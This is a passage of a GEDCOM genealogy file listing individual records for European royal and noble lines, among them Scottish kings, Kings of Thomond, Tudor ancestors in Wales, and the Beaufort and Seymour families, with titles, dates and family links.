+1 NAME Charles_VI the_Beloved //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE  3 DEC 1368
+2 PLAC Paris,France
+1 DEAT
+2 DATE 22 OCT 1422
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F915@
+1 FAMC @F1182@
+0 @I2076@ INDI
+1 NAME Robert  /Ferrers/
+1 TITL Sir
+1 SEX M
+1 FAMS @F916@
+0 @I2077@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 FAMS @F917@
+1 FAMC @F918@
+0 @I2078@ INDI
+1 NAME Thomas  /Neville/
+1 TITL Sir
+1 SEX M
+1 FAMS @F918@
+0 @I2079@ INDI
+1 NAME Margaret  /Beaufort/
+1 SEX F
+1 FAMS @F919@
+1 FAMC @F486@
+0 @I2080@ INDI
+1 NAME Thomas  /Courtenay/
+1 TITL Earl of Devon V
+1 SEX M
+1 FAMS @F919@
+0 @I2081@ INDI
+1 NAME Eleanor  /Beauchamp/
+1 SEX F
+1 FAMS @F920@
+1 FAMC @F921@
+0 @I2082@ INDI
+1 NAME Richard  /Beauchamp/
+1 TITL Earl of Warwick
+1 SEX M
+1 FAMS @F921@
+0 @I2083@ INDI
+1 NAME Henry  /Beaufort/
+1 TITL Duke Sommerset
+1 SEX M
+1 DEAT
+2 DATE        1463
+1 FAMC @F920@
+0 @I2084@ INDI
+1 NAME Edmund  /Beaufort/
+1 TITL Duke Sommerset
+1 SEX M
+1 DEAT
+2 DATE        1471
+1 FAMC @F920@
+0 @I2085@ INDI
+1 NAME John  /Beaufort/
+1 SEX M
+1 DEAT
+2 DATE        1471
+1 FAMC @F920@
+0 @I2086@ INDI
+1 NAME Eleanor  /Beaufort/
+1 SEX F
+1 FAMS @F922@
+1 FAMS @F923@
+1 FAMC @F920@
+0 @I2087@ INDI
+1 NAME Joan  /Beaufort/
+1 SEX F
+1 FAMS @F924@
+1 FAMS @F925@
+1 FAMC @F920@
+0 @I2088@ INDI
+1 NAME Anne  /Beaufort/
+1 SEX F
+1 FAMS @F926@
+1 FAMC @F920@
+0 @I2089@ INDI
+1 NAME Margaret  /Beaufort/
+1 SEX F
+1 FAMS @F927@
+1 FAMS @F928@
+1 FAMC @F920@
+0 @I2090@ INDI
+1 NAME Elizabeth  /Beaufort/
+1 SEX F
+1 FAMS @F929@
+1 FAMC @F920@
+0 @I2091@ INDI
+1 NAME James of_Wiltshire /Butler/
+1 TITL Earl
+1 SEX M
+1 FAMS @F922@
+0 @I2092@ INDI
+1 NAME Robert  /Spencer/
+1 TITL Sir
+1 SEX M
+1 FAMS @F923@
+0 @I2093@ INDI
+1 NAME Robert  /St._Lawrence/
+1 TITL Lord Howth
+1 SEX M
+1 FAMS @F924@
+0 @I2094@ INDI
+1 NAME Richard  /Fry/
+1 SEX M
+1 FAMS @F925@
+0 @I2095@ INDI
+1 NAME William  /Paston/
+1 SEX M
+1 FAMS @F926@
+0 @I2096@ INDI
+1 NAME Humphrey  //
+1 TITL Earl of Stafford
+1 SEX M
+1 FAMS @F927@
+0 @I2097@ INDI
+1 NAME Richard  /Darell/
+1 TITL Sir
+1 SEX M
+1 FAMS @F928@
+0 @I2098@ INDI
+1 NAME Henry Fitz /Lewes/
+1 TITL Sir
+1 SEX M
+1 FAMS @F929@
+0 @I2099@ INDI
+1 NAME Thomas of_Wiltshire /Boleyn/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1536
+1 FAMS @F931@
+0 @I2100@ INDI
+1 NAME Joanna the_Mad (Juana)//
+1 SEX F
+1 BIRT
+2 DATE        1479
+1 DEAT
+2 DATE        1555
+1 FAMS @F1352@
+1 FAMC @F320@
+0 @I2101@ INDI
+1 NAME William  /Cavendish/
+1 TITL Sir
+1 SEX M
+1 FAMS @F930@
+0 @I2102@ INDI
+1 NAME Frances  /Devereux/
+1 SEX F
+1 DEAT
+2 DATE        1674
+1 FAMS @F932@
+1 FAMC @F933@
+0 @I2103@ INDI
+1 NAME Robert  /Devereux/
+1 TITL Earl of Essex
+1 SEX M
+1 FAMS @F933@
+0 @I2104@ INDI
+1 NAME Henry of_Cumberland /Clifford/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1569
+1 FAMS @F934@
+1 FAMS @F1094@
+0 @I2105@ INDI
+1 NAME Adrian  /Stokes/
+1 SEX M
+1 DEAT
+2 DATE ABT    1581
+1 FAMS @F935@
+0 @I2106@ INDI
+1 NAME Catherine  /Grey/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE ABT    1568
+1 FAMS @F1091@
+1 FAMS @F936@
+1 FAMC @F527@
+0 @I2107@ INDI
+1 NAME Mary  /Grey/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1578
+1 FAMS @F1092@
+1 FAMC @F527@
+0 @I2108@ INDI
+1 NAME Edward  /Seymour/
+1 TITL Earl of Hertford
+1 SEX M
+1 FAMS @F936@
+1 FAMS @F1122@
+1 FAMS @F1123@
+1 FAMC @F1125@
+0 @I2109@ INDI
+1 NAME Edward Beauchamp /Seymour/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1612
+1 FAMS @F938@
+1 FAMC @F936@
+0 @I2110@ INDI
+1 NAME Thomas  /Seymour/
+1 SEX M
+1 DEAT
+2 DATE        1600
+1 FAMS @F937@
+1 FAMC @F936@
+0 @I2111@ INDI
+1 NAME Isabel  /Onley/
+1 SEX F
+1 FAMS @F937@
+0 @I2112@ INDI
+1 NAME Honora  /Rogers/
+1 SEX F
+1 FAMS @F938@
+1 FAMC @F939@
+0 @I2113@ INDI
+1 NAME Richard  /Rogers/
+1 TITL Sir
+1 SEX M
+1 FAMS @F939@
+0 @I2114@ INDI
+1 NAME Frederick Henry //
+1 SEX M
+1 BIRT
+2 DATE        1614
+1 DEAT
+2 DATE        1629
+1 FAMC @F265@
+0 @I2115@ INDI
+1 NAME Philip  //
+1 SEX M
+1 DEAT
+2 DATE        1650
+1 FAMC @F265@
+0 @I2116@ INDI
+1 NAME Elizabeth of_Hervorden //
+1 TITL Abbess
+1 SEX F
+1 DEAT
+2 DATE        1680
+1 FAMC @F265@
+0 @I2117@ INDI
+1 NAME Louisa Hollandine of_Maubisson//
+1 TITL Abbess
+1 SEX F
+1 DEAT
+2 DATE        1709
+1 FAMC @F265@
+0 @I2118@ INDI
+1 NAME Henrietta Maria //
+1 SEX F
+1 DEAT
+2 DATE        1651
+1 FAMS @F943@
+1 FAMC @F265@
+0 @I2119@ INDI
+1 NAME Charlotte  //
+1 SEX F
+1 DEAT
+2 DATE        1631
+1 FAMC @F265@
+0 @I2120@ INDI
+1 NAME William of_Hesse /Landgrave/
+1 SEX M
+1 FAMS @F941@
+0 @I2121@ INDI
+1 NAME Anne  //
+1 SEX F
+1 FAMS @F942@
+0 @I2122@ INDI
+1 NAME Sigismund of_Transylvania /Ragotski/
+1 TITL Prince
+1 SEX M
+1 FAMS @F943@
+0 @I2123@ INDI
+1 NAME Frederick Augustus //
+1 SEX M
+1 DEAT
+2 DATE        1690
+1 FAMC @F266@
+0 @I2124@ INDI
+1 NAME Maximilian William //
+1 SEX M
+1 DEAT
+2 DATE        1726
+1 FAMC @F266@
+0 @I2125@ INDI
+1 NAME Charles Philip //
+1 SEX M
+1 DEAT
+2 DATE        1690
+1 FAMC @F266@
+0 @I2126@ INDI
+1 NAME Christian  //
+1 SEX M
+1 DEAT
+2 DATE        1703
+1 FAMC @F266@
+0 @I2127@ INDI
+1 NAME Edward  /Hyde/
+1 TITL Earl of Claredon
+1 SEX M
+1 FAMS @F944@
+0 @I2128@ INDI
+1 NAME Anna Maria //
+1 SEX F
+1 BIRT
+2 DATE        1669
+1 DEAT
+2 DATE        1728
+1 FAMS @F945@
+1 FAMC @F272@
+0 @I2129@ INDI
+1 NAME Victor Amadeus_II //
+1 TITL Duke of Savoy
+1 SEX M
+1 BIRT
+2 DATE        1666
+1 DEAT
+2 DATE        1732
+1 FAMS @F945@
+0 @I2130@ INDI
+1 NAME Charles_II  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1661
+1 DEAT
+2 DATE        1700
+1 FAMS @F946@
+1 FAMC @F947@
+0 @I2131@ INDI
+1 NAME Philip_IV  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1605
+1 DEAT
+2 DATE        1665
+1 FAMS @F948@
+1 FAMS @F947@
+1 FAMC @F522@
+0 @I2132@ INDI
+1 NAME Philip_III  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1578
+2 PLAC Madrid,,,Spain
+1 DEAT
+2 DATE        1621
+1 FAMS @F522@
+1 FAMC @F951@
+0 @I2133@ INDI
+1 NAME Maria of_Portugal //
+1 SEX F
+1 FAMS @F949@
+0 @I2134@ INDI
+1 NAME Elizabeth of_France //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1545
+1 DEAT
+2 DATE        1568
+1 FAMS @F950@
+0 @I2135@ INDI
+1 NAME Anne of_Austria //
+1 SEX F
+1 BIRT
+2 DATE        1549
+1 DEAT
+2 DATE        1580
+1 FAMS @F951@
+0 @I2136@ INDI
+1 NAME Don_Carlos  //
+1 SEX M
+1 FAMC @F949@
+0 @I2137@ INDI
+1 NAME James Louis /Sobieski/
+1 TITL Prince
+1 SEX M
+1 FAMS @F952@
+1 FAMC @F953@
+0 @I2138@ INDI
+1 NAME John_III  /Sobieski/
+1 TITL King of Poland
+1 SEX M
+1 BIRT
+2 DATE  9 JUN 1624
+2 PLAC Olesko,Now:,Ukraine,SSR
+1 DEAT
+2 DATE 17 JUN 1696
+2 PLAC Wilanow,Nr.,Warsaw,Poland
+1 FAMS @F953@
+0 @I2139@ INDI
+1 NAME Gustavus Adolphus of_Stolberg-Ged.//
+1 TITL Prince
+1 SEX M
+1 FAMS @F954@
+0 @I2140@ INDI
+1 NAME George William of_Brunswick//
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1726
+1 FAMS @F955@
+0 @I2141@ INDI
+1 NAME Celle  //
+1 SEX F
+1 FAMS @F955@
+0 @I2142@ INDI
+1 NAME Frederick_II of_Saxe-Gotha //
+1 TITL Duke
+1 SEX M
+1 FAMS @F956@
+0 @I2143@ INDI
+1 NAME Magdalena Augusta of_Anhalt-Zerbst//
+1 SEX F
+1 FAMS @F956@
+0 @I2144@ INDI
+1 NAME Edward  /Walpole/
+1 TITL Hon. Sir
+1 SEX M
+1 FAMS @F957@
+0 @I2145@ INDI
+1 NAME James Waldegrave_2nd //
+1 TITL Earl
+1 SEX M
+1 FAMS @F958@
+0 @I2146@ INDI
+1 NAME Sophia  //
+1 SEX F
+1 DEAT
+2 DATE        1844
+1 FAMC @F279@
+0 @I2147@ INDI
+1 NAME Charles Louis Frederick//
+1 TITL Duke
+1 SEX M
+1 FAMS @F959@
+0 @I2148@ INDI
+1 NAME Elizabeth of_Saxe- Hildburghausen/Albertin/
+1 SEX F
+1 FAMS @F959@
+0 @I2149@ INDI
+1 NAME Alfonso  //
+1 TITL Infante of Spain
+1 SEX M
+1 FAMS @F960@
+0 @I2150@ INDI
+1 NAME Ernest of_Hohenlohe- Langenburg//
+1 TITL Prince
+1 SEX M
+1 FAMS @F961@
+0 @I2151@ INDI
+1 NAME  of_Dalhousie XIII//
+1 TITL Earl
+1 SEX M
+1 FAMS @F962@
+0 @I2152@ INDI
+1 NAME Katharine Fraser //
+1 SEX F
+1 BIRT
+2 DATE        1957
+1 FAMC @F665@
+0 @I2153@ INDI
+1 NAME Alice  //
+1 SEX F
+1 BIRT
+2 DATE        1961
+1 FAMC @F665@
+0 @I2154@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 BIRT
+2 DATE        1963
+1 FAMC @F665@
+0 @I2155@ INDI
+1 NAME Alistair Arthur of_Connaught_2nd//
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1943
+1 FAMC @F36@
+0 @I2156@ INDI
+1 NAME Romaine  //
+1 SEX F
+1 FAMS @F963@
+0 @I2157@ INDI
+1 NAME Janet  /Bryce/
+1 SEX F
+1 FAMS @F964@
+0 @I2158@ INDI
+1 NAME George of_Milford_Haven //
+1 TITL Marquess
+1 SEX M
+1 FAMC @F963@
+0 @I2159@ INDI
+1 NAME Ivar  //
+1 TITL Lord
+1 SEX M
+1 FAMC @F963@
+0 @I2160@ INDI
+1 NAME  of_Mount_Temple //
+1 TITL Lord
+1 SEX M
+1 FAMS @F965@
+0 @I2161@ INDI
+1 NAME  of_Lodesborough //
+1 TITL Earl
+1 SEX M
+1 FAMS @F966@
+0 @I2162@ INDI
+1 NAME J. Keyes-O'Malley /Hamilton/
+1 TITL Capt.
+1 SEX M
+1 FAMS @F967@
+0 @I2163@ INDI
+1 NAME Michael Kelly Bryan//
+1 SEX M
+1 FAMS @F968@
+0 @I2164@ INDI
+1 NAME William Kemp //
+1 SEX M
+1 FAMS @F969@
+0 @I2165@ INDI
+1 NAME Robin Alexander //
+1 SEX M
+1 FAMC @F968@
+0 @I2166@ INDI
+1 NAME Maelgwn Fychan //
+1 SEX M
+1 DEAT
+2 DATE        1257
+1 FAMS @F970@
+0 @I2167@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 FAMS @F971@
+1 FAMC @F970@
+0 @I2168@ INDI
+1 NAME Maredudd Ap_Owain //
+1 SEX M
+1 DEAT
+2 DATE        1265
+1 FAMS @F971@
+0 @I2169@ INDI
+1 NAME Owain  //
+1 SEX M
+1 DEAT
+2 DATE        1275
+1 FAMS @F972@
+1 FAMC @F971@
+0 @I2170@ INDI
+1 NAME Llywelyn  //
+1 SEX M
+1 DEAT
+2 DATE        1309
+1 FAMS @F973@
+1 FAMC @F972@
+0 @I2171@ INDI
+1 NAME Thomas  //
+1 SEX M
+1 DEAT
+2 DATE ABT    1343
+1 FAMS @F974@
+1 FAMC @F973@
+0 @I2172@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 FAMS @F975@
+1 FAMC @F974@
+0 @I2173@ INDI
+1 NAME Tudor Fychan of_Pemmynydd//
+1 SEX M
+1 FAMS @F975@
+1 FAMC @F977@
+0 @I2174@ INDI
+1 NAME Maredudd (Meredith) /Tudor/
+1 SEX M
+1 FAMS @F976@
+1 FAMC @F975@
+0 @I2175@ INDI
+1 NAME Goronwy_Ap Tudor //
+1 SEX M
+1 DEAT
+2 DATE        1331
+1 FAMS @F977@
+1 FAMC @F978@
+0 @I2176@ INDI
+1 NAME Tudor Hen //
+1 SEX M
+1 DEAT
+2 DATE        1311
+1 FAMS @F978@
+1 FAMC @F979@
+0 @I2177@ INDI
+1 NAME Goronwy  //
+1 SEX M
+1 FAMS @F979@
+1 FAMC @F980@
+0 @I2178@ INDI
+1 NAME Ednyfed Fychan //
+1 SEX M
+1 FAMS @F980@
+0 @I2179@ INDI
+1 NAME Gwenllian  //
+1 SEX F
+1 DEAT
+2 DATE        1236
+1 FAMS @F980@
+1 FAMC @F981@
+0 @I2180@ INDI
+1 NAME Rhys_Ap Gruffydd //
+1 TITL Lord Rhys
+1 SEX M
+1 DEAT
+2 DATE        1197
+1 FAMS @F981@
+1 FAMC @F982@
+0 @I2181@ INDI
+1 NAME Gruffydd  //
+1 SEX M
+1 DEAT
+2 DATE        1137
+1 FAMS @F982@
+1 FAMC @F983@
+0 @I2182@ INDI
+1 NAME Rhys_Ap Twedwr //
+1 TITL Prince S. Wales
+1 SEX M
+1 FAMS @F983@
+1 FAMC @F984@
+0 @I2183@ INDI
+1 NAME Tewdwr Mawr the_Great//
+1 SEX M
+1 FAMS @F984@
+1 FAMC @F985@
+0 @I2184@ INDI
+1 NAME Cadell  //
+1 SEX M
+1 FAMS @F985@
+1 FAMC @F986@
+0 @I2185@ INDI
+1 NAME Einion  //
+1 SEX M
+1 DEAT
+2 DATE         984
+1 FAMS @F986@
+1 FAMC @F817@
+0 @I2186@ INDI
+1 NAME Michael of_Hillsborough /Hill/
+1 SEX M
+1 FAMS @F987@
+1 FAMC @F988@
+0 @I2187@ INDI
+1 NAME William  /Hill/
+1 SEX M
+1 FAMS @F988@
+0 @I2188@ INDI
+1 NAME Eleanor  /Boyle/
+1 SEX F
+1 FAMS @F988@
+1 FAMC @F989@
+0 @I2189@ INDI
+1 NAME Michael  /Boyle/
+1 TITL Dr.
+1 SEX M
+1 FAMS @F989@
+0 @I2190@ INDI
+1 NAME Mary  /O'Brien/
+1 SEX F
+1 FAMS @F989@
+1 FAMC @F990@
+0 @I2191@ INDI
+1 NAME Dermont  /O'Brien/
+1 TITL Lord Inchiquin V
+1 SEX M
+1 DEAT
+2 DATE        1624
+1 FAMS @F990@
+1 FAMC @F991@
+0 @I2192@ INDI
+1 NAME Murrough  /O'Brien/
+1 TITL Lord Inchiquin 4
+1 SEX M
+1 DEAT
+2 DATE        1597
+1 FAMS @F991@
+1 FAMC @F992@
+0 @I2193@ INDI
+1 NAME Murrough  /O'Brien/
+1 TITL Lord Inchiquin 3
+1 SEX M
+1 DEAT
+2 DATE        1573
+1 FAMS @F992@
+1 FAMC @F993@
+0 @I2194@ INDI
+1 NAME Dermod  /O'Brien/
+1 TITL Lord Inchiquin 2
+1 SEX M
+1 DEAT
+2 DATE        1557
+1 FAMS @F993@
+1 FAMC @F994@
+0 @I2195@ INDI
+1 NAME Murrough  //
+1 TITL King of Thomond
+1 SEX M
+1 DEAT
+2 DATE        1551
+1 FAMS @F994@
+1 FAMC @F995@
+0 @I2196@ INDI
+1 NAME Turlough Don //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F995@
+1 FAMC @F996@
+0 @I2197@ INDI
+1 NAME Teige An_Chomard //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F996@
+1 FAMC @F997@
+0 @I2198@ INDI
+1 NAME Turlough Bog the_Soft//
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F997@
+1 FAMC @F998@
+0 @I2199@ INDI
+1 NAME Brian_Catha An_Eanaigh //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F998@
+1 FAMC @F999@
+0 @I2200@ INDI
+1 NAME Mahon Moinmoy //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F999@
+1 FAMC @F1000@
+0 @I2201@ INDI
+1 NAME Mortogh  //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F1000@
+1 FAMC @F1001@
+0 @I2202@ INDI
+1 NAME Turlough  //
+1 TITL King of Thomond
+1 SEX M
+1 DEAT
+2 DATE        1306
+1 FAMS @F1001@
+1 FAMC @F1002@
+0 @I2203@ INDI
+1 NAME Teige Caeluisce //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F1002@
+1 FAMC @F1003@
+0 @I2204@ INDI
+1 NAME Conor Na_Suidane //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F1003@
+1 FAMC @F1004@
+0 @I2205@ INDI
+1 NAME Donough Cairbreach //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F1004@
+1 FAMC @F1005@
+0 @I2206@ INDI
+1 NAME Donnell More //
+1 TITL King of Thomond
+1 SEX M
+1 DEAT
+2 DATE        1194
+1 FAMS @F1005@
+1 FAMC @F1006@
+0 @I2207@ INDI
+1 NAME Urlachan  //
+1 SEX F
+1 FAMS @F1005@
+1 FAMC @F1014@
+0 @I2208@ INDI
+1 NAME Turlough  //
+1 TITL King of Thomond
+1 SEX M
+1 FAMS @F1006@
+1 FAMC @F1007@
+0 @I2209@ INDI
+1 NAME Dermot  //
+1 TITL King of Munster
+1 SEX M
+1 FAMS @F1007@
+1 FAMC @F1008@
+0 @I2210@ INDI
+1 NAME Turough  //
+1 TITL King of Munster
+1 SEX M
+1 FAMS @F1008@
+1 FAMC @F1009@
+0 @I2211@ INDI
+1 NAME Teige (Terence) //
+1 SEX M
+1 DEAT
+2 DATE        1023
+1 FAMS @F1009@
+1 FAMC @F1010@
+0 @I2212@ INDI
+1 NAME Brian Boru //
+1 TITL King of Ireland
+1 SEX M
+1 FAMS @F1010@
+0 @I2213@ INDI
+1 NAME Dearbforgail  //
+1 SEX F
+1 DEAT
+2 DATE        1080
+1 FAMS @F1011@
+1 FAMC @F1010@
+0 @I2214@ INDI
+1 NAME Dermot  /MacMailnamo/
+1 TITL King of Ireland
+1 SEX M
+1 DEAT
+2 DATE        1072
+1 FAMS @F1011@
+0 @I2215@ INDI
+1 NAME Murchad  //
+1 TITL King of Leinster
+1 SEX M
+1 DEAT
+2 DATE        1090
+1 FAMS @F1017@
+1 FAMC @F1011@
+0 @I2216@ INDI
+1 NAME Eva  //
+1 SEX F
+1 FAMS @F807@
+1 FAMC @F1012@
+0 @I2217@ INDI
+1 NAME William  /Marshal/
+1 TITL Earl of Pembroke
+1 SEX M
+1 FAMS @F1012@
+0 @I2218@ INDI
+1 NAME Isabel  //
+1 SEX F
+1 FAMS @F1012@
+1 FAMC @F1013@
+0 @I2219@ INDI
+1 NAME Richard (Strongbow) //
+1 TITL Earl of Pembroke
+1 SEX M
+1 FAMS @F1013@
+0 @I2220@ INDI
+1 NAME Aoife (Eva) //
+1 SEX F
+1 FAMS @F1013@
+1 FAMC @F1014@
+0 @I2221@ INDI
+1 NAME Dermot  /MacMurrough/
+1 TITL King of Leinster
+1 SEX M
+1 DEAT
+2 DATE        1171
+1 FAMS @F1014@
+1 FAMC @F1015@
+0 @I2222@ INDI
+1 NAME Enna  //
+1 TITL King of Leinster
+1 SEX M
+1 DEAT
+2 DATE        1126
+1 FAMS @F1015@
+1 FAMC @F1016@
+0 @I2223@ INDI
+1 NAME Donchad  //
+1 TITL King of Leinster
+1 SEX M
+1 DEAT
+2 DATE        1126
+1 FAMS @F1016@
+1 FAMC @F1017@
+0 @I2224@ INDI
+1 NAME Sybil  //
+1 SEX F
+1 FAMS @F1018@
+1 FAMC @F506@
+0 @I2225@ INDI
+1 NAME Ingibiorg  //
+1 SEX F
+1 FAMS @F1020@
+1 FAMC @F1021@
+0 @I2226@ INDI
+1 NAME Finn  /Arnasson/
+1 SEX M
+1 FAMS @F1021@
+0 @I2227@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 DEAT
+2 DATE        1131
+1 FAMS @F1022@
+0 @I2228@ INDI
+1 NAME Henry of_Huntingdon //
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1152
+1 FAMS @F1023@
+1 FAMC @F1022@
+0 @I2229@ INDI
+1 NAME Ada  //
+1 SEX F
+1 FAMS @F1023@
+0 @I2230@ INDI
+1 NAME Malcolm_IV the_Maiden //
+1 TITL King of Scotland
+1 SEX M
+1 FAMC @F1023@
+0 @I2231@ INDI
+1 NAME Willaim_I the_Lion //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1024@
+1 FAMC @F1023@
+0 @I2232@ INDI
+1 NAME Ermengarde  //
+1 SEX F
+1 DEAT
+2 DATE        1234
+1 FAMS @F1024@
+0 @I2233@ INDI
+1 NAME Mary of_Coucy //
+1 SEX F
+1 FAMS @F1025@
+0 @I2234@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 DEAT
+2 DATE        1283
+1 FAMS @F1026@
+1 FAMC @F603@
+0 @I2235@ INDI
+1 NAME Eric  /Magnusson/
+1 TITL King of Norway
+1 SEX M
+1 FAMS @F1026@
+0 @I2236@ INDI
+1 NAME Margaret Maid_of_Norway //
+1 SEX F
+1 BIRT
+2 DATE ABT    1282
+1 DEAT
+2 DATE        1290
+1 FAMC @F1026@
+0 @I2237@ INDI
+1 NAME Duncan_II May-Nov //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1027@
+1 FAMC @F1020@
+0 @I2238@ INDI
+1 NAME Ethelreda  //
+1 SEX F
+1 FAMS @F1027@
+0 @I2239@ INDI
+1 NAME Duncan_I  //
+1 SEX M
+1 FAMS @F1028@
+1 FAMC @F1029@
+0 @I2240@ INDI
+1 NAME Sybil  //
+1 SEX F
+1 FAMS @F1028@
+0 @I2241@ INDI
+1 NAME Donald_III Bane //
+1 TITL King of Scotland
+1 SEX M
+1 FAMC @F1028@
+0 @I2242@ INDI
+1 NAME Crinan  //
+1 SEX M
+1 FAMS @F1029@
+0 @I2243@ INDI
+1 NAME Bethoc  //
+1 SEX F
+1 FAMS @F1029@
+1 FAMC @F1032@
+0 @I2244@ INDI
+1 NAME Gillacomgan  //
+1 SEX M
+1 FAMS @F1030@
+0 @I2245@ INDI
+1 NAME Gruoch  //
+1 SEX F
+1 FAMS @F1030@
+1 FAMS @F1031@
+1 FAMC @F1038@
+0 @I2246@ INDI
+1 NAME Lulach  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMC @F1030@
+0 @I2247@ INDI
+1 NAME Macbeth  //
+1 TITL King of Scotland
+1 SEX M
+1 DEAT
+2 DATE        1057
+1 FAMS @F1031@
+0 @I2248@ INDI
+1 NAME Malcolm_II  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1032@
+1 FAMC @F1033@
+0 @I2249@ INDI
+1 NAME Kenneth_II  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1033@
+1 FAMC @F1034@
+0 @I2250@ INDI
+1 NAME Malcolm_I  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1034@
+1 FAMC @F1035@
+0 @I2251@ INDI
+1 NAME Donald_II  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1035@
+1 FAMC @F1036@
+0 @I2252@ INDI
+1 NAME Constantine_II  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1036@
+1 FAMC @F1044@
+0 @I2253@ INDI
+1 NAME Duff  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1037@
+1 FAMC @F1034@
+0 @I2254@ INDI
+1 NAME Kenneth_III  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1039@
+1 FAMC @F1037@
+0 @I2255@ INDI
+1 NAME Beoedhe  //
+1 SEX M
+1 FAMS @F1038@
+1 FAMC @F1039@
+0 @I2256@ INDI
+1 NAME Constantine_IV  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMC @F1040@
+0 @I2257@ INDI
+1 NAME Colin  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1040@
+1 FAMC @F1041@
+0 @I2258@ INDI
+1 NAME Indulf  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1041@
+1 FAMC @F1042@
+0 @I2259@ INDI
+1 NAME Constantine_III  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1042@
+1 FAMC @F1043@
+0 @I2260@ INDI
+1 NAME Aedh  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1043@
+1 FAMC @F1044@
+0 @I2261@ INDI
+1 NAME Kenneth_I  /MacAlpin/
+1 TITL King of Scotland
+1 SEX M
+1 FAMS @F1044@
+1 FAMC @F1046@
+0 @I2262@ INDI
+1 NAME Unknown_Dau.  //
+1 SEX F
+1 FAMS @F1045@
+1 FAMC @F1044@
+0 @I2263@ INDI
+1 NAME Run of_Strathclyde //
+1 TITL King
+1 SEX M
+1 FAMS @F1045@
+0 @I2264@ INDI
+1 NAME Eocha  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMC @F1045@
+0 @I2265@ INDI
+1 NAME Alpin  //
+1 TITL King of Scotland
+1 SEX M
+1 DEAT
+2 DATE         834
+1 FAMS @F1046@
+0 @I2266@ INDI
+1 NAME Donald_I  //
+1 TITL King of Scotland
+1 SEX M
+1 FAMC @F1046@
+0 @I2267@ INDI
+1 NAME Charles_II  //
+1 TITL King of Navarre
+1 SEX M
+1 FAMS @F1047@
+0 @I2268@ INDI
+1 NAME Reynald  /Cobham/
+1 TITL Sir
+1 SEX M
+1 FAMS @F1048@
+0 @I2269@ INDI
+1 NAME of_Burgandy  //
+1 TITL Duke
+1 SEX M
+1 FAMS @F1049@
+0 @I2270@ INDI
+1 NAME Peter of_Luxemburg //
+1 TITL Count St. Pol
+1 SEX M
+1 FAMS @F1050@
+0 @I2271@ INDI
+1 NAME Richard  /Woodville/
+1 TITL Earl Rivers
+1 SEX M
+1 FAMS @F1051@
+0 @I2272@ INDI
+1 NAME Rene  //
+1 TITL Count of Anjou
+1 SEX M
+1 FAMS @F1052@
+0 @I2273@ INDI
+1 NAME Thomas of_Heton /Grey/
+1 TITL Sir
+1 SEX M
+1 FAMS @F1053@
+0 @I2274@ INDI
+1 NAME Joachim Frederick of_Brandenburg//
+1 TITL Elector
+1 SEX M
+1 FAMS @F1054@
+0 @I2275@ INDI
+1 NAME Richard  /Pole/
+1 TITL Sir
+1 SEX M
+1 FAMS @F1055@
+0 @I2276@ INDI
+1 NAME John  /De_La_Pole/
+1 TITL Duke of Suffolk
+1 SEX M
+1 FAMS @F1056@
+0 @I2277@ INDI
+1 NAME Thomas  /Holland/
+1 TITL Earl of Kent
+1 SEX M
+1 FAMS @F1057@
+0 @I2278@ INDI
+1 NAME Edward  //
+1 TITL Lord Cherleton
+1 SEX M
+1 FAMS @F1058@
+0 @I2279@ INDI
+1 NAME Edmund  //
+1 TITL Earl of Stafford
+1 SEX M
+1 FAMS @F1059@
+0 @I2280@ INDI
+1 NAME Roger  /Mortimer/
+1 SEX M
+1 DEAT
+2 DATE        1409
+1 FAMC @F492@
+0 @I2281@ INDI
+1 NAME Eleanor  /Mortimer/
+1 SEX F
+1 FAMS @F1060@
+1 FAMC @F492@
+0 @I2282@ INDI
+1 NAME Edward  /Courtenay/
+1 TITL Sir
+1 SEX M
+1 FAMS @F1060@
+0 @I2283@ INDI
+1 NAME Edmund  /Mortimer/
+1 SEX M
+1 DEAT
+2 DATE        1409
+1 FAMC @F494@
+0 @I2284@ INDI
+1 NAME Elizabeth  /Mortimer/
+1 SEX F
+1 FAMS @F1061@
+1 FAMS @F1062@
